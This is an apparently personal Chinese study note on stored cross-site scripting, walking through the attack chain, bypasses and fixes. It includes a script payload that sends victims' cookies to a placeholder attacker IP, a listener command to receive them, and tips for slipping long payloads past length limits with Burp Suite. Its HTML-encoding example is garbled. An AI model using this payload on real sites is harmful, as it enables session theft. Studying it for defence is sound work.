【web】xss存储型
这里介绍xss存储型攻击链路以及顺带提一下学习(渗透)笔记写法
1.漏洞是什么:
1. 存储型 XSS (Stored Cross-Site Scripting)
2. 前后端未对用户输入进行安全过滤或转义,导致恶意脚本被持久化存储在数据库中,任何访问该页面的用户都会被动触发执行。
3.核心危害: 窃取敏感 Cookie、劫持用户会话、钓鱼攻击、网页挂马。
2.怎么打(攻击连路+payload字典)
( 这里记录实战弹药库。不要只写一个 Payload,要把它的变体和涉及的工具记下来。 )
1.实战payload
<script>new Image().src="http://<攻击者IP>:<端口>/log?cookie="+document.cookie;</script>
2.攻击接受端配置
Python 一键启动临时服务器:`python -m http.server 8888`
3.攻击链路
整个攻击链路由 攻击者、服务器(含数据库)、受害者 三方交织而成,核心分为三个阶段:
-
第一阶段:投毒(持久化存储)
攻击者在前端输入框(如留言板)提交恶意脚本 $\rightarrow$ 后端服务器未做过滤,直接将脚本写入数据库封存。
-
第二阶段:潜伏(静止状态)
Payload 此时作为数据库里的一行普通文本静静躺着,没有任何危害,等待受害者触发。
-
第三阶段:毒发(跨时空触发)
正常受害者访问该页面 →服务器从数据库取出脚本,拼进 HTML 发给受害者 →受害者浏览器解析 HTML 时自动执行脚本 → 悄悄将 Cookie 发送给攻击者的接收服务器。
4.实战踩坑与绕过(刚学到的)
绕过法 A:F12 检查元素,修改/删除 HTML 标签中的 `maxlength` 属性。
绕过法 B: 填入正常测试数据,利用 Burp Suite 抓包,在 Request 体中直接替换为长 Payload 并 Forward。
5.漏洞触发本质(为什么成功,底层逻辑加强记忆)
1.数据的完整生命周期(中转逻辑):
- 核心矛盾: 浏览器无法区分“原本的网页代码”和“用户输入的恶意数据”(数据与指令混淆)。
- 数据的生命周期(为什么数据库和前端 HTML 都有 Payload?):
- 存储阶段(攻击者➡数据库): 攻击者提交 Payload ➡后端服务器无视内容 ➡存入数据库(此时 Payload 是静止的字符串)。
- 提取阶段(数据库➡服务器后端): 受害者请求访问页面 ➡后端服务器从数据库读取出该 Payload。
- 渲染阶段(服务器➡受害者浏览器): 后端服务器将读取到的 Payload 拼接进网页的 HTML 源码中 ➡发送给受害者浏览器➡ 浏览器解析 HTML 时遇到
<script>标签,被迫将其作为 JS 代码执行。
- 一句话总结: 数据库是“中转站”(负责持久化),前端 HTML 是“执行场”(负责触发)。正是因为后端把数据库里的毒药“盛”进了发给前端的碗(HTML)里,漏洞才得以跨越时空触发。
2.数据与指令混淆: 浏览器在解析 HTML 文档流(DOM Parsing)时,误将数据库吐出来的“恶意数据”当成了网页本身的“JS 指令”丢给 JS 引擎去执行。
6.防御与修复
不谈防御的渗透笔记是不完整的,面试和写报告必考。
方案一(输出编码):在服务器将数据拼接进 HTML 之前,进行 HTML 实体编码(如将 `<` 转为 `<`)。
方案二(Cookie 保护):后端设置 Cookie 时加入 `HttpOnly` 属性。*(注:此属性可彻底免疫通过 `document.cookie` 窃取凭证的攻击)*。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)